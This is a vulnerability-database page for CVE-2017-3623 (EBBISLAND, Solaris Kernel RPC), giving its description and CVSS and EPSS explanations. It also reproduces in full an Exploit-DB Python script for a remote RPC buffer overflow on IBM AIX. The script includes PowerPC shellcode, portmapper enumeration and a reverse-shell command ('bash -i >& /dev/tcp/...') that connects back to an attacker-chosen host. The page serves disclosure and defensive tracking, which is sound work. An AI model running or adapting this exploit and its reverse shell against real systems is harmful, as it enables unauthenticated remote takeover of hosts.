CVE-2017-3623 : Detail

CVE-2017-3623

10
/
Critical
50.35%V3
Network
2017-04-24
17h00 +00:00
2024-10-04
19h15 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Vulnerability in the Solaris component of Oracle Sun Systems Products Suite (subcomponent: Kernel RPC). For supported versions that are affected see note. Easily "exploitable" vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Solaris. While the vulnerability is in Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Solaris. Note: CVE-2017-3623 is assigned for "Ebbisland". Solaris 10 systems which have had any Kernel patch installed after, or updated via patching tools since 2012-01-26 are not impacted. Also, any Solaris 10 system installed with Solaris 10 1/13 (Solaris 10 Update 11) are not vulnerable. Solaris 11 is not impacted by this issue. CVSS 3.0 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE Other No informations.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 10 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 47888

Publication date : 2020-01-07
23h00 +00:00
Author : hantwister
EDB Verified : No

# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow # Date: 2018-09-19 # Exploit Author: Harrison Neal # Vendor Homepage: https://www.ibm.com/us-en/ # Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642 # Tested on: IBM AIX PPC # CVE: CVE-2017-3623 # EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC #!/usr/bin/python # Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc # Exploit code example; shellcode requires /usr/bin/bash on the target # Example values for my AIX 7.2 LPAR: # gid_base: 3007d390 # execl_func: d0307940 # execl_toc: f081bc20 # CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled from os import urandom from socket import socket, AF_INET, SOCK_STREAM from struct import pack, unpack from sys import argv, exit from time import time, sleep def getCredLoopbackBody(): global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target # Doesn't matter, ljust call assumes len <= 4 node_name = 'hn' node_length = pack('>I', len(node_name)) node_name = node_name.ljust(4, '\x00') # Also doesn't matter uid = pack('>I', 0) gid = pack('>I', 0) # Big enough to trigger an overflow # Not big enough to trigger defensive code # You could make this a little bit less, # but you'd have to tweak the part 2 code gids_len = pack('>I', 64) base_addr = pack('>I', gid_base) addr_8c = pack('>I', gid_base + 0x8c) addr_a8 = pack('>I', gid_base + 0xa8) addr_4c = pack('>I', gid_base + 0x4c) func_addr = pack('>I', execl_func) toc_addr = pack('>I', execl_toc) cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1' cmd = cmd.ljust(0x30, '\x00') # Each GID is 4 bytes long, we want 64 gids = ( # +0x0 # filepath '/usr/bin/bash\x00\x00\x00' # +0x10 # argv[0] 'bash\x00\x00\x00\x00' # +0x18 # argv[1] '-c\x00\x00' # +0x1c # argv[2] ) + cmd + ( # +0x4c # r3 = filepath '\x70\x63\x00\x00' # andi. r3, r3, 0x0 '\x3c\x60' ) + base_addr[0:2] + ( # lis r3, ... '\x60\x63' ) + base_addr[2:4] + ( # ori r3, r3, ... # +0x58 # r4 = argv[0] '\x38\x83\x00\x10' # addi r4, r3, 0x10 # +0x5c # r5 = argv[1] '\x38\xa4\x00\x08' # addi r5, r4, 0x8 # +0x60 # r6 = argv[2] '\x38\xc5\x00\x04' # addi r6, r5, 0x4 # +0x64 # r7 = NULL '\x70\xe7\x00\x00' # andi. r7, r7, 0x0 # +0x68 # r2 = libc.a TOC for execl '\x70\x42\x00\x00' # andi. r2, r2, 0x0 '\x3c\x40' ) + toc_addr[0:2] + ( # lis r2, ... '\x60\x42' ) + toc_addr[2:4] + ( # ori r2, r2, ... # +0x74 # execl '\x71\x08\x00\x00' # andi. r8, r8, 0x0 '\x3d\x00' ) + func_addr[0:2] + ( # lis r8, ... '\x61\x08' ) + func_addr[2:4] + ( # ori r8, ... '\x7d\x09\x03\xa6' # mtctr r8 '\x4e\x80\x04\x21' # bctrl # +0x88 # 0x14 padding 'AAAAAAAAAAAAAAAAAAAA' # +0x9c # Will be NULL 'ZZZZ' # +0xa0 # @+948: r5 = +0x8c # @+968: r5 = *(+0x8c + 0x18) = *(+0xa4) # +0xa4 # @+968: r5 = +0xa8 # @+972: r0 = *(r5 + 0x0) = *(+0xa8) # +0xa8 # @+972: r0 = +0x4c # @+980: ctr = r0 = +0x4c # @+988: branch to ctr ) + addr_8c + addr_a8 + addr_4c + ( # +0xac # padding 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' ) print ":".join("{:02x}".format(ord(c)) for c in gids) print len(gids) return epoch + node_length + node_name + uid + gid + gids_len + gids def getCredLoopback(): cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK cred_body = getCredLoopbackBody() cred_len = pack('>I', len(cred_body)) return cred_flavor + cred_len + cred_body def getAuthNone(): auth_flavor = pack('>I', 0) # AUTH_NONE auth_len = pack('>I', 0) return auth_flavor + auth_len def getMessage(prog_num, ver_num, proc_num, use_loopback_cred): xid = urandom(4) mtype = pack('>I', 0) # CALL rpcvers = pack('>I', 2) prog = pack('>I', prog_num) vers = pack('>I', ver_num) proc = pack('>I', proc_num) cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() ) verf = getAuthNone() return xid + mtype + rpcvers + prog + vers + proc + cred + verf def getPacket(message): # MSB on = this is the last fragment # LSBs = fragment length frag = pack('>I', len(message) + 0x80000000) return frag + message if len(argv) < 7: print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc' exit(1) rhost = argv[1] lhost = argv[2] lport = argv[3] gid_base = int(argv[4], 16) execl_func = int(argv[5], 16) execl_toc = int(argv[6], 16) # Query the portmapper for services services = [] s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, 111)) # port 111 for portmapper s.send(getPacket(getMessage( 100000, # portmapper 2, # version 2 4, # DUMP False # unauth request ))) s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16)) if (prog_num == 100024 # status and proto_num == 6): # TCP print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port) services.append((prog_num, ver_num, port)) s.close() # Try attacking for service in services: prog_num, ver_num, port = service serv_str = str(prog_num) + ' v' + str(ver_num) for attack in [False, True]: sleep(1) # be gentle print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, port)) resp_len = 0 s.send(getPacket(getMessage( prog_num, ver_num, 0, # NULL, acts like a ping attack ))) s.settimeout(5) # give inetd/... a chance to spin up the service if needed try: resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes except: resp_len = 0 # typically either timeout, connection error, or Ctrl+C try: s.close() # try closing the connection if it isn't already dead except: pass # connection is probably already dead print '[ ] Got response length ' + str(resp_len) if resp_len == 0: # suspect the service either timed out or crashed if attack: print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell' else: print '[-] Service probably down or otherwise misbehaving, skipping...' break

Products Mentioned

Configuraton 0

Oracle>>Solaris >> Version *

References

http://www.securityfocus.com/bid/97778
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1038292
Tags : vdb-entry, x_refsource_SECTRACK